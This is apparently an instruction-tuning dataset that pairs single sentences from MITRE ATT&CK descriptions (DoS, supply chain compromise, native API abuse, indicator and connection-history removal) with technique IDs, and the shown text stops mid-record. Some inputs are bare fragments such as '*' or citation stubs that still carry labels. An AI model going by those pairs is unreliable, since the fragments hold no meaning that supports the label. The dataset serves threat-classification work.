may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets are commonly used to conduct DDoS attacks against networks and services.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets are commonly used to conduct DDoS attacks against networks and services. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Large botnets can generate a significant amount of traffic from systems spread across the global internet.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Large botnets can generate a significant amount of traffic from systems spread across the global internet. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS).", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Replacement of legitimate software with modified versions\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Replacement of legitimate software with modified versions\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sales of modified/counterfeit products to legitimate distributors\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sales of modified/counterfeit products to legitimate distributors\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symantec Elderwood Sept 2012)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symantec Elderwood Sept 2012)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.", "output": "T1195.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. ### Response: T1195.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", "output": "T1195.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals. ### Response: T1195.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors.", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may interact with the native OS application programming interface (API) to execute behaviors. ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API)", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these OS API functions as a means of executing behaviors.", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these OS API functions as a means of executing behaviors. ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls)", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation:", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft CreateProcess)(Citation: GNU Fork)", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft CreateProcess)(Citation: GNU Fork) ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs.", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation:", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation) ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls)", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).", "output": "T1106", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001). ### Response: T1106."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133).", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network connection history may be stored in various locations.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network connection history may be stored in various locations. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation:", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Moran RDPieces)", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Moran RDPieces) ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090).", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos is an authentication 